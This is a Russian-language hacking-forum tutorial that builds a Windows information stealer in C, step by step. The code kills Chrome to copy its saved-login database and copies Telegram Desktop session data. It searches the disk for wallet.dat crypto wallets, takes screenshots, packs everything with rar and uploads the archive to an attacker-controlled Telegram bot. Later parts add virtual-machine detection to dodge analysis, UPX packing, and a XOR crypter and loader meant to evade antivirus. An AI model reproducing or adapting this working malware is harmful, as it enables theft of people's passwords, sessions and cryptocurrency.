• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем стилер на C

miserylord

RAID-массив
Пользователь
Регистрация
13.05.2024
Сообщения
97
Реакции
319
Автор: miserylord
Эксклюзивно для форума:
xss.pro

Улыбнись этому миру, miserylord на связи!

В этой статье мы разберем процесс написания простого инфо-стилера на языке C. Переходим к практике!

Собираем информацию

Итак, инфо-стилер — это вид малвари, который, как следует из названия, предназначен для сбора информации с зараженных целей. Писать код я буду под операционную систему Windows. Сам процесс будет построен от написания небольшой программы, буквально концепта, до чего-то более сложного и глобального.

Начнем со сбора информации о системе. Задача заключается в том, чтобы собрать информацию об устройстве, на котором был запущен код, и сохранить результат в файл info.txt.

Для работы с Windows мы будем использовать программный интерфейс (API), который в Windows называется Win32, а его методы описаны в документации на сайте Microsoft.

C:
// 1
#include <stdio.h>
#include <windows.h>
#include <tchar.h>

void collectSystemInfo() {
    // 2
    FILE *file = fopen("info.txt", "w");
    if (file == NULL) {
        printf("Ошибка открытия файла для записи.\n");
        return;
    }

    // 3
    OSVERSIONINFO osvi;
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if (GetVersionEx(&osvi)) {
        fprintf(file, "Система: Windows\n");
        fprintf(file, "Версия ОС: %lu.%lu (Build %lu)\n",
                osvi.dwMajorVersion,
                osvi.dwMinorVersion,
                osvi.dwBuildNumber);
    } else {
        fprintf(file, "Не удалось получить информацию о версии ОС.\n\n");
    }

    // 4
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    fprintf(file, "Архитектура процессора: ");
    switch (si.wProcessorArchitecture) {
        case PROCESSOR_ARCHITECTURE_AMD64:
            fprintf(file, "x64 (AMD or Intel)\n");
            break;
        case PROCESSOR_ARCHITECTURE_INTEL:
            fprintf(file, "x86\n");
            break;
        case PROCESSOR_ARCHITECTURE_ARM:
            fprintf(file, "ARM\n");
            break;
        default:
            fprintf(file, "Unknown architecture\n");
            break;
    }
    fprintf(file, "Количество процессоров: %lu\n", si.dwNumberOfProcessors);

    // 5
    MEMORYSTATUSEX statex;
    statex.dwLength = sizeof(statex);
    if (GlobalMemoryStatusEx(&statex)) {
        fprintf(file, "\nФизическая память (всего): %llu MB\n",
                statex.ullTotalPhys / (1024 * 1024));
        fprintf(file, "Физическая память (свободно): %llu MB\n",
                statex.ullAvailPhys / (1024 * 1024));
        fprintf(file, "Виртуальная память (всего): %llu MB\n",
                statex.ullTotalPageFile / (1024 * 1024));
        fprintf(file, "Виртуальная память (свободно): %llu MB\n",
                statex.ullAvailPageFile / (1024 * 1024));
    } else {
        fprintf(file, "Не удалось получить информацию о памяти.\n");
    }

    // 6
    TCHAR computerName[256];
    DWORD size = sizeof(computerName) / sizeof(computerName[0]);
    if (GetComputerName(computerName, &size)) {
        fprintf(file, "\nИмя компьютера: %s\n", computerName);
    } else {
        fprintf(file, "\nНе удалось получить имя компьютера.\n");
    }

    // 7
    fclose(file);
    printf("Информация успешно сохранена в файл info.txt.\n");
}

// 8
int main() {
    collectSystemInfo();
    return 0;
}
  1. Подключаем библиотеку windows.h, которая предоставляет доступ к функциям операционной системы Windows.
  2. Открываем файл info.txt для записи. Если файл не удается открыть, выводим ошибку.
  3. Получаем информацию о версии операционной системы. Описание метода — [OSVERSIONINFOA (winnt.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoa). Создаем структуру и задаем размер в соответствии с документацией.
  4. Получаем информацию о процессоре и количестве процессоров. Получаем информацию о системе, проверяем архитектуру процессора и записываем количество процессоров.
  5. Получаем информацию о памяти (физической и виртуальной). Переводим значения из байт в мегабайты.
  6. Получаем имя компьютера. Тип TCHAR — это тип, который может быть как char, так и wchar_t, в зависимости от того, используется ли кодировка ANSI или Unicode. Вычисляем размер буфера, который будет передан в функцию GetComputerName.
  7. Закрываем файл и выводим сообщение о успешном завершении.
  8. Вызываем функцию для сбора информации в main функции.

Для сборки используем компилятор mingw32-gcc. Проверяем код и убеждаемся, что он успешно работает.

Перейдем к браузерам. Самым популярным браузером является Google Chrome. Файлы располагаются в директории C:\Users\User\AppData\Local\Google\Chrome\User Data. Можно было бы скопировать всю директорию целиком, но она занимает несколько гигабайт данных, поэтому придется подходить более избирательно. Сконцентрируем внимание на файле Login Data. Этот файл хранит информацию о сохранённых пользователем данных для входа на веб-сайты в браузере. Для корректного копирования файлов необходимо хорошо разобраться, за что отвечает каждый файл программы, и понять, как с ним работать. В целом, если мы перенесём всю папку с одного устройства на другое, и версии программы и операционной системы будут идентичными, то проблем с использованием этих данных возникнуть не должно. (Говоря о файле Login Data, стоит отметить, что он зашифрован. Для его расшифровки необходимо использовать API Windows DPAPI. Файл представляет собой базу данных SQLite.)

Код будет выглядеть следующим образом:
C:
// 1
void killProcessByName(const TCHAR *processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        _tprintf(_T("Не удалось создать снимок процессов.\n"));
        return;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (_tcsicmp(pe32.szExeFile, processName) == 0) {
                HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
                if (hProcess) {
                    _tprintf(_T("Завершаем процесс: %s (PID: %u)\n"), processName, pe32.th32ProcessID);
                    TerminateProcess(hProcess, 0);
                    CloseHandle(hProcess);
                } else {
                    _tprintf(_T("Не удалось открыть процесс %s для завершения.\n"), processName);
                }
            }
        } while (Process32Next(hSnapshot, &pe32));
    } else {
        _tprintf(_T("Не удалось получить список процессов.\n"));
    }

    CloseHandle(hSnapshot);
}

// 2
void copyChromeProfiles() {
    TCHAR chromePath[MAX_PATH], loginDataPath[MAX_PATH], destPath[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath))) {
        _tcscat(chromePath, _T("\\Google\\Chrome\\User Data\\Default"));
        _tcscat(chromePath, _T("\\Login Data"));

        GetCurrentDirectory(MAX_PATH, destPath);
        _tcscat(destPath, _T("\\ChromeLoginData"));

        _tprintf(_T("Копирование файла Login Data Chrome...\n"));
        CopyFile(chromePath, destPath, FALSE);
        _tprintf(_T("Копирование файла Login Data завершено.\n"));
    } else {
        _tprintf(_T("Не удалось найти путь профилей Chrome.\n"));
    }
}

// 3
int main() {
    collectSystemInfo();
    killProcessByName(_T("chrome.exe"));
    copyChromeProfiles();
    return 0;
}


  1. Завершение процесса Chrome перед копированием файла Login Data является необходимой мерой для обеспечения корректного, безопасного и полного копирования данных, а также для предотвращения ошибок доступа, которые могут возникнуть при попытке скопировать файл, к которому существует активный доступ со стороны программы. Функция создаёт снимок всех процессов в системе с помощью CreateToolhelp32Snapshot. Затем она перебирает все процессы, используя Process32First и Process32Next. Если имя текущего процесса совпадает с заданным, открывается этот процесс для завершения через OpenProcess. После этого процесс завершает свою работу через TerminateProcess. В конце закрывается хэндл снимка с помощью CloseHandle.
  2. Функция находит файл Login Data для Google Chrome. Путь к этому файлу формируется с использованием SHGetFolderPath для получения пути к каталогу приложения Chrome. Файл Login Data копируется в текущую рабочую директорию с помощью функции CopyFile.
  3. Вызываем новые функции в основной функции.

Проверяем код и видим, что всё работает успешно!

Вообще, папка AppData — это скрытая системная директория Windows, предназначенная для хранения конфигурационных файлов, кэшированных данных, журналов, сессий и других файлов, которые могут изменяться во время работы приложений. Например, расширения, среди которых будут присутствовать криптокошельки, будут находиться по адресу: AppData\Local\Google\Chrome\User Data\Default\Extension.

В папке Roaming (в директории AppData) приложения сохраняют настройки и данные, которые должны оставаться постоянными для конкретного пользователя, даже если он войдёт в систему с другого компьютера.

Давайте добавим функционал для копирования файлов t_data, отвечающих за сессии Telegram
C:
// 1
void copyDirectory(const TCHAR *source, const TCHAR *destination) {
    WIN32_FIND_DATA findFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;

    TCHAR sourcePath[MAX_PATH];
    _stprintf_s(sourcePath, MAX_PATH, _T("%s\\*"), source);

    hFind = FindFirstFile(sourcePath, &findFileData);
    if (hFind == INVALID_HANDLE_VALUE) {
        _tprintf(_T("Не удалось найти файлы в директории %s\n"), source);
        return;
    }

    do {
        if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
            continue;
        }

        TCHAR sourceFile[MAX_PATH], destFile[MAX_PATH];

        _stprintf_s(sourceFile, MAX_PATH, _T("%s\\%s"), source, findFileData.cFileName);
        _stprintf_s(destFile, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);

        if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            CreateDirectory(destFile, NULL);
            copyDirectory(sourceFile, destFile);
        } else {
            if (!CopyFile(sourceFile, destFile, FALSE)) {
                _tprintf(_T("Не удалось скопировать файл %s\n"), sourceFile);
            }
        }
    } while (FindNextFile(hFind, &findFileData) != 0);

    FindClose(hFind);
}

// 2
void copyTelegramData() {
    TCHAR appDataPath[MAX_PATH], telegramPath[MAX_PATH], destPath[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appDataPath))) {
        _stprintf_s(telegramPath, MAX_PATH, _T("%s\\Telegram Desktop\\tdata"), appDataPath);

        GetCurrentDirectory(MAX_PATH, destPath);
        _tcscat_s(destPath, MAX_PATH, _T("\\TelegramDesktop"));

        if (CreateDirectory(destPath, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) {
            _tprintf(_T("Копирование данных из папки Telegram Desktop...\n"));
            copyDirectory(telegramPath, destPath);
            _tprintf(_T("Копирование папки Telegram Desktop завершено.\n"));
        } else {
            _tprintf(_T("Не удалось создать папку для копирования.\n"));
        }
    } else {
        _tprintf(_T("Не удалось получить путь к папке AppData.\n"));
    }
}


  1. Рекурсивная функция копирования: Она копирует содержимое одной директории в другую, включая файлы и подпапки. В функцию передаются параметры пути к исходной директории и к целевой директории. Используется структура WIN32_FIND_DATA для получения информации о файлах и папках. Вызов FindFirstFile ищет первый файл или папку в директории. Затем происходит последовательный перебор всех файлов и папок в директории. Проверяются имена элементов на равенство . и .. (служебные папки, обозначающие текущую и родительскую директории). Формируются полные пути для текущего файла или папки в sourceFile и destFile. Если текущий элемент — папка, создаётся соответствующая папка в целевой директории с помощью CreateDirectory, и функция вызывается рекурсивно для этой папки. Если текущий элемент — файл, используется функция CopyFile для копирования из sourceFile в destFile. После завершения цикла поиска вызывается FindClose для освобождения ресурсов.
  2. Функция подготовки путей и вызова copyDirectory: Она подготавливает пути для копирования данных Telegram и вызывает copyDirectory. Сперва возвращается путь к папке AppData для текущего пользователя (CSIDL_APPDATA). Этот путь сохраняется в appDataPath. К пути AppData добавляется поддиректория Telegram Desktop\tdata для доступа к данным Telegram. Получается текущая рабочая директория. К пути добавляется \TelegramDesktop для хранения данных Telegram. Если папка успешно создана (или уже существует), вызывается copyDirectory для копирования данных из исходной директории telegramPath в destPath. Если не удалось создать папку или получить путь к AppData, выводятся сообщения об ошибке.

Добавим ещё несколько функций:

Функция рекурсивного поиска файлов wallet.dat в системе:
C:
void findAndCopyDatFiles(const TCHAR *directory, const TCHAR *destination) {
    WIN32_FIND_DATA findFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;

    TCHAR searchPath[MAX_PATH];
    _stprintf_s(searchPath, MAX_PATH, _T("%s\\*"), directory);

    hFind = FindFirstFile(searchPath, &findFileData);
    if (hFind == INVALID_HANDLE_VALUE) {
        return;
    }

    do {
        if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
            continue;
        }

        TCHAR sourcePath[MAX_PATH], destPath[MAX_PATH];
        _stprintf_s(sourcePath, MAX_PATH, _T("%s\\%s"), directory, findFileData.cFileName);
        _stprintf_s(destPath, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);

        if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            findAndCopyDatFiles(sourcePath, destination);
        } else {
            if (_tcsstr(findFileData.cFileName, _T("wallet.dat")) != NULL) {
                CopyFile(sourcePath, destPath, FALSE);
            }
        }
    } while (FindNextFile(hFind, &findFileData) != 0);

    FindClose(hFind);
}

Функция ищет все файлы и папки в заданной директории. Для папок выполняется рекурсивный поиск с углублением в их содержимое. Если в имени файла содержится строка wallet.dat, файл копируется в указанную целевую папку.

Функция для создания скриншота и сохранения его в формате BMP:
C:
void takeScreenshot(const TCHAR *filePath) {
    HWND hwndDesktop = GetDesktopWindow();
    HDC hdcScreen = GetDC(hwndDesktop);
    HDC hdcMemory = CreateCompatibleDC(hdcScreen);

    RECT desktopRect;
    GetClientRect(hwndDesktop, &desktopRect);

    int width = desktopRect.right;
    int height = desktopRect.bottom;

    HBITMAP hBitmap = CreateCompatibleBitmap(hdcScreen, width, height);
    SelectObject(hdcMemory, hBitmap);

    BitBlt(hdcMemory, 0, 0, width, height, hdcScreen, 0, 0, SRCCOPY);

    BITMAPFILEHEADER bfh;
    BITMAPINFOHEADER bih;

    bih.biSize = sizeof(BITMAPINFOHEADER);
    bih.biWidth = width;
    bih.biHeight = -height;
    bih.biPlanes = 1;
    bih.biBitCount = 32;
    bih.biCompression = BI_RGB;
    bih.biSizeImage = 0;
    bih.biXPelsPerMeter = 0;
    bih.biYPelsPerMeter = 0;
    bih.biClrUsed = 0;
    bih.biClrImportant = 0;

    DWORD bitmapSize = ((width * bih.biBitCount + 31) / 32) * 4 * height;
    char *bitmapData = (char *)malloc(bitmapSize);

    if (!bitmapData) {
        printf("Ошибка: недостаточно памяти для создания скриншота.\n");
        DeleteObject(hBitmap);
        DeleteDC(hdcMemory);
        ReleaseDC(hwndDesktop, hdcScreen);
        return;
    }

    GetDIBits(hdcMemory, hBitmap, 0, height, bitmapData, (BITMAPINFO *)&bih, DIB_RGB_COLORS);

    FILE *file = _tfopen(filePath, _T("wb"));
    if (file) {
        bfh.bfType = 0x4D42;
        bfh.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitmapSize;
        bfh.bfReserved1 = 0;
        bfh.bfReserved2 = 0;
        bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);

        fwrite(&bfh, sizeof(BITMAPFILEHEADER), 1, file);
        fwrite(&bih, sizeof(BITMAPINFOHEADER), 1, file);
        fwrite(bitmapData, bitmapSize, 1, file);

        fclose(file);
    } else {
        printf("Ошибка: не удалось открыть файл для записи.\n");
    }

    free(bitmapData);
    DeleteObject(hBitmap);
    DeleteDC(hdcMemory);
    ReleaseDC(hwndDesktop, hdcScreen);
}


Функция работает следующим образом: Получает размеры рабочего стола. Создаёт растровое изображение, совместимое с экраном. Копирует содержимое экрана в растровое изображение. Извлекает пиксельные данные и записывает их в файл BMP. Освобождает используемые ресурсы.

После сбора всей информации её необходимо отправить. Однако перед этим нужно уменьшить объём данных, поместив их в архив. Для этого я буду использовать утилиту WinRAR (с помощью системной команды), которая установлена на многих компьютерах. Это будет выполнено в следующей функции.
C:
void createRarFromFolder(const char *folderPath, const char *rarFilePath) {
    char command[MAX_PATH];
    snprintf(command, MAX_PATH, "rar a -r \"%s\" \"%s\\*\"", rarFilePath, folderPath);


    printf("Создание RAR архива командой: %s\n", command);
    int result = system(command);

    if (result == 0) {
        printf("RAR архив успешно создан: %s\n", rarFilePath);
    } else {
        printf("Ошибка при создании RAR архива.\n");
    }
}

Предполагается, что переменная PATH содержит путь к WinRAR. Также можно использовать строку с полным путём, например: snprintf(command, MAX_PATH, "\"C:\\Program Files\\WinRAR\\rar.exe\" a -r %s %s\\*", rarFilePath, folderPath);

Отправка информации

Следующим шагом будет отправка полученной информации. В качестве приёмника/передатчика информации могут выступать различные серверы, включая серверы Telegram-бота.

Сам Telegram-бот будет реализован на языке Golang. В первую очередь необходимо создать Telegram-бота, получить и сохранить токен, затем написать ему команду /start и обратиться к эндпоинту https://api.telegram.org/bot{our_bot_token}/getUpdates, чтобы узнать chat ID. Это позволит боту отправлять полученные данные только в нужный чат.

Мы воспользуемся библиотекой github.com/go-telegram-bot-api/telegram-bot-api. Код будет выглядеть следующим образом. После запуска кода мы вернёмся к проекту на языке C.

C-подобный:
package main

import (
    "fmt"
    "io"
    "log"
    "net/http"
    "os"

    tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api/v5"
)

func downloadFile(bot *tgbotapi.BotAPI, fileID, savePath string) error {
    file, err := bot.GetFile(tgbotapi.FileConfig{FileID: fileID})
    if err != nil {
        return fmt.Errorf("не удалось получить информацию о файле: %v", err)
    }

    fileURL := file.Link(bot.Token)

    resp, err := http.Get(fileURL)
    if err != nil {
        return fmt.Errorf("ошибка при загрузке файла: %v", err)
    }
    defer resp.Body.Close()

    out, err := os.Create(savePath)
    if err != nil {
        return fmt.Errorf("не удалось создать файл %s: %v", savePath, err)
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    if err != nil {
        return fmt.Errorf("ошибка при сохранении файла: %v", err)
    }

    return nil
}

func main() {
    botToken := ""
    adminChatID := int64()

    bot, err := tgbotapi.NewBotAPI(botToken)
    if err != nil {
        log.Fatalf("Ошибка создания бота: %v", err)
    }

    u := tgbotapi.NewUpdate(0)
    u.Timeout = 60

    updates := bot.GetUpdatesChan(u)

    for update := range updates {
        if update.Message != nil {
            if update.Message.Document != nil {
                fileID := update.Message.Document.FileID

                savePath := "received_file.rar"

                err := downloadFile(bot, fileID, savePath)
                if err != nil {
                    log.Printf("Ошибка загрузки файла: %v\n", err)
                    continue
                }

                msg := tgbotapi.NewMessage(adminChatID, "Файл успешно загружен и сохранен как received_file.rar")
                _, err = bot.Send(msg)
                if err != nil {
                    log.Printf("Ошибка отправки уведомления администратору: %v\n", err)
                }

                fmt.Printf("Файл получен и сохранен как %s\n", savePath)
            }
        }
    }
}

Реализация функции sendFileToTelegram.
C:
BOOL sendFileToTelegram(const char *filePath, const char *botToken, const char *chatID) {

    char url[512];
    snprintf(url, sizeof(url), "/bot%s/sendDocument", botToken);

    // 1
    HINTERNET hInternet = InternetOpenA("TelegramUploader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) {
        printf("Ошибка: InternetOpenA\n");
        return FALSE;
    }

    // 2
    HINTERNET hSession = InternetConnectA(hInternet, "api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hSession) {
        printf("Ошибка: InternetConnectA\n");
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 3
    HINTERNET hRequest = HttpOpenRequestA(hSession, "POST", url, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
    if (!hRequest) {
        printf("Ошибка: HttpOpenRequestA\n");
        InternetCloseHandle(hSession);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 4
    FILE *file = fopen(filePath, "rb");
    if (!file) {
        printf("Ошибка: Не удалось открыть файл %s\n", filePath);
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hSession);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 5
    fseek(file, 0, SEEK_END);
    long fileSize = ftell(file);
    rewind(file);

    char *fileContent = (char *)malloc(fileSize);
    if (!fileContent) {
        printf("Ошибка: Недостаточно памяти для содержимого файла\n");
        fclose(file);
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hSession);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    fread(fileContent, 1, fileSize, file);
    fclose(file);

    // 6
    char headers[] = "Content-Type: multipart/form-data; boundary=---Boundary";
    char bodyStart[1024];
    snprintf(bodyStart, sizeof(bodyStart),
        "-----Boundary\r\n"
        "Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n%s\r\n"
        "-----Boundary\r\n"
        "Content-Disposition: form-data; name=\"document\"; filename=\"archive.rar\"\r\n"
        "Content-Type: application/octet-stream\r\n\r\n",
        chatID);

    char bodyEnd[] = "\r\n-----Boundary--";
    DWORD bodySize = strlen(bodyStart) + fileSize + strlen(bodyEnd);

    char *body = (char *)malloc(bodySize);
    memcpy(body, bodyStart, strlen(bodyStart));
    memcpy(body + strlen(bodyStart), fileContent, fileSize);
    memcpy(body + strlen(bodyStart) + fileSize, bodyEnd, strlen(bodyEnd));

    // 7
    BOOL sendResult = HttpSendRequestA(hRequest, headers, strlen(headers), body, bodySize);

    if (!sendResult) {
        printf("Ошибка: HttpSendRequestA\n");
    } else {
        printf("Файл успешно отправлен в Telegram\n");
    }

    free(fileContent);
    free(body);
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hSession);
    InternetCloseHandle(hInternet);

    return sendResult;
}


Функция будет использовать библиотеку Windows Internet (WinINet), которая предоставляет API для взаимодействия с интернет-протоколами. Разберём её подробнее:

  1. Инициализация доступа к Интернету. "TelegramUploader" — это имя приложения (отображается в User-Agent). Соединение осуществляется напрямую, без прокси. Функция возвращает хендл HINTERNET, который используется в дальнейших вызовах API.
  2. Открытие соединения с сервером. Соединение устанавливается с сервером Telegram API по адресу "api.telegram.org" на порту 443. Возвращается хендл, представляющий сессию. Если соединение установить не удалось, ресурсы, выделенные на предыдущем шаге, освобождаются с помощью InternetCloseHandle.
  3. Создание HTTP-запроса. На этом этапе формируется HTTP-запрос для взаимодействия с API.
  4. Открытие файла. Файл по указанному пути открывается в бинарном режиме (rb). Это означает, что файл читается как есть, без преобразований содержимого.
  5. Чтение содержимого файла. Сначала с помощью fseek и ftell определяется размер файла. Затем с помощью malloc выделяется память под содержимое файла, а функция fread загружает данные файла в буфер fileContent.
  6. Формирование тела запроса. В заголовках указывается тип содержимого multipart/form-data с границей ---Boundary. Формируется часть тела запроса bodyStart, которая содержит параметры chat_id и начало файла. В конце добавляется завершающая граница bodyEnd. Для объединения начала, содержимого файла и конца в единый буфер body используется функция memcpy.
  7. Отправка HTTP-запроса и освобождение ресурсов. Запрос отправляется с использованием подготовленного тела. После этого освобождаются все ресурсы, включая память, выделенную под буферы, и закрываются все хендлы.

В качестве альтернативы использованию Telegram может выступать другой сервер, то есть самостоятельно разработанный сервер на каком-либо языке программирования. Можно использовать как HTTP-протокол, так и WebSocket. По сути, сервер будет выступать архитектурным решением типа C2: он сможет собирать данные, выводить их в удобном виде, собирать статистику и выполнять любые функции, которые мы захотим добавить к коду программы.

Мы также можем использовать различные альтернативные протоколы, например, протоколы почтовых серверов.

Дальнейшие шаги

Реализуем код, который будет проверять, не запущена ли программа в виртуальном окружении. Код будет анализировать сразу несколько возможных паттернов.

C:
// 1
int isVirtualMachineByBios() {
    char biosData[256] = {0};
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
        return 0;
    }

    DWORD size = sizeof(biosData);
    if (RegQueryValueExA(hKey, "SystemBiosVersion", NULL, NULL, (LPBYTE)biosData, &size) == ERROR_SUCCESS) {
        if (strstr(biosData, "VMware") || strstr(biosData, "VirtualBox") ||
            strstr(biosData, "VBOX") || strstr(biosData, "QEMU") || strstr(biosData, "Hyper-V")) {
            RegCloseKey(hKey);
            return 1;
        }
    }
    RegCloseKey(hKey);
    return 0;
}

// 2
int isVirtualMachineByProcess() {
    const char *vmProcesses[] = {"vmtoolsd.exe", "VBoxService.exe", "VBoxTray.exe", "vmware.exe", "qemu-ga.exe"};
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) return 0;

    if (Process32First(snapshot, &entry)) {
        do {
            for (int i = 0; i < sizeof(vmProcesses) / sizeof(vmProcesses[0]); i++) {
                if (_stricmp(entry.szExeFile, vmProcesses[i]) == 0) {
                    CloseHandle(snapshot);
                    return 1;
                }
            }
        } while (Process32Next(snapshot, &entry));
    }
    CloseHandle(snapshot);
    return 0;
}


// 3
int isVirtualMachineByDrivers() {
    const char *vmDrivers[] = {"VBoxSF", "VBoxMouse", "VBoxGuest", "vmhgfs", "vmci"};
    for (int i = 0; i < sizeof(vmDrivers) / sizeof(vmDrivers[0]); i++) {
        if (GetModuleHandleA(vmDrivers[i]) != NULL) {
            return 1;
        }
    }
    return 0;
}

// 4
int isRunningOnVirtualMachine() {
    if (isVirtualMachineByBios()) {
        printf("Обнаружена виртуальная машина через BIOS!\n");
        return 1;
    }

    if (isVirtualMachineByProcess()) {
        printf("Обнаружена виртуальная машина по процессам!\n");
        return 1;
    }

    if (isVirtualMachineByDrivers()) {
        printf("Обнаружена виртуальная машина по драйверам!\n");
        return 1;
    }

    return 0;
}


  1. Функция проверяет наличие признаков виртуальной машины через информацию о BIOS. Открывается ключ реестра HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System для чтения, и считывается значение, содержащее информацию о BIOS. Далее оно сравнивается с известными строками, которые могут указывать на виртуальные машины: VMware, VirtualBox, VBOX, QEMU, Hyper-V.
  2. Следующая функция проверяет, запущены ли процессы, типичные для виртуальных машин. Используется CreateToolhelp32Snapshot для получения списка всех активных процессов. Затем выполняется итерация по всем процессам, и каждый процесс сравнивается с известными именами исполняемых файлов, связанными с виртуальными машинами.
  3. Функция проверяет наличие драйверов, характерных для виртуальных машин. Создаётся список известных виртуальных драйверов. Для каждого драйвера вызывается функция GetModuleHandleA, чтобы проверить, загружен ли он в память.
  4. Все проверки объединяются в рамках одной функции для комплексного анализа.

Для уменьшения размера исполняемого файла, затруднения статического анализа и обхода сигнатурного анализа воспользуемся упаковщиком UPX (Ultimate Packer for eXecutables). Принцип работы следующий: исходный файл → UPX сжимает и добавляет декомпрессор → создаётся новый исполняемый файл. При запуске: декомпрессор загружает сжатый код → распаковывает его в оперативную память → выполняет оригинальный код.

Команда для работы: upx --best -o main_packed.exe main.exe. Флаг --best указывает UPX использовать максимальный уровень сжатия, флаг -o означает output (выходной файл).

Далее попробуем реализовать простой криптор файла. Криптор служит для схожих задач с упаковщиком, за исключением того, что криптор заточен на обход антивирусных систем, тогда как упаковщик предназначен для сжатия исполняемого файла.

В его алгоритме используется XOR-операция с заданным ключом. XOR (исключающее ИЛИ) — это логическая операция, которая работает с двумя битами. Она сравнивает два бита и возвращает 1, если эти биты разные, и 0, если они одинаковые. Каждый байт из исходного файла будет подвергаться операции XOR с определённым значением ключа.

Предположим, у нас есть символ (байт) с ASCII значением 65 (это символ "A"). И наш ключ — 123 (в десятичной системе):

  • Исходный символ (байт): 65 (в двоичной системе 01000001)
  • Ключ (123) в двоичной системе: 01111011

Теперь применяем XOR: 01000001 (65) XOR 01111011 (123) = 00111010 (58).

Результат: 58 (в десятичной системе), что соответствует символу ":". Таким образом, символ "A" с помощью XOR-операции и ключа 123 превращается в символ ":".

Процесс дешифровки работает так же, потому что XOR имеет свойство, при котором дважды применённая операция XOR с одним и тем же ключом возвращает исходное значение. То есть, если мы зашифровали файл с помощью XOR, мы можем снова применить XOR с тем же ключом, чтобы восстановить исходные данные.

Перей
C:
дём к коду криптора:

#include <stdio.h>
#include <stdlib.h>

void xorEncryptDecrypt(const char *inputFile, const char *outputFile, const char key) {
    FILE *in = fopen(inputFile, "rb");
    FILE *out = fopen(outputFile, "wb");

    if (!in || !out) {
        printf("Ошибка при открытии файлов.\n");
        return;
    }

    int byte;
    while ((byte = fgetc(in)) != EOF) {
        fputc(byte ^ key, out);
    }

    fclose(in);
    fclose(out);
    printf("Файл успешно обработан.\n");
}

int main(int argc, char *argv[]) {
    if (argc != 4) {
        printf("Использование: %s <inputFile> <outputFile> <key>\n", argv[0]);
        return 1;
    }

    const char key = (char)atoi(argv[3]);
    xorEncryptDecrypt(argv[1], argv[2], key);
    return 0;
}


Читаем каждый байт исходного файла, реализуем операцию XOR с ключом и записываем результат в выходной файл.

Напишем также условный лоудер простейшей формы. Его задача — восстанавливать файл, запускать его и удалять, тем самым временно расшифровывая код только в памяти.
C:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

void xorDecryptToFile(const char *encryptedFile, const char *outputFile, const char key) {
    FILE *in = fopen(encryptedFile, "rb");
    FILE *out = fopen(outputFile, "wb");

    if (!in || !out) {
        printf("Ошибка открытия файлов.\n");
        if (in) fclose(in);
        if (out) fclose(out);
        return;
    }

    int byte;
    while ((byte = fgetc(in)) != EOF) {
        fputc(byte ^ key, out);
    }

    fclose(in);
    fclose(out);
    printf("Файл успешно дешифрован в %s\n", outputFile);
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Использование: %s <encryptedFile> <key>\n", argv[0]);
        return 1;
    }

    const char key = (char)atoi(argv[2]);
    const char *tempFile = "temp_main.exe";

    xorDecryptToFile(argv[1], tempFile, key);

    printf("Запуск временного файла...\n");
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;

    if (!CreateProcess(NULL, tempFile, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        printf("Ошибка запуска процесса.\n");
        return 1;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    if (remove(tempFile) == 0) {
        printf("Временный файл удалён.\n");
    } else {
        printf("Не удалось удалить временный файл.\n");
    }

    return 0;
}


Код расшифровывает зашифрованный файл с использованием того же ключа и вызывает функцию CreateProcess для запуска расшифрованного файла (temp_main.exe). Затем программа ждёт завершения выполнения и после этого удаляет временный файл.

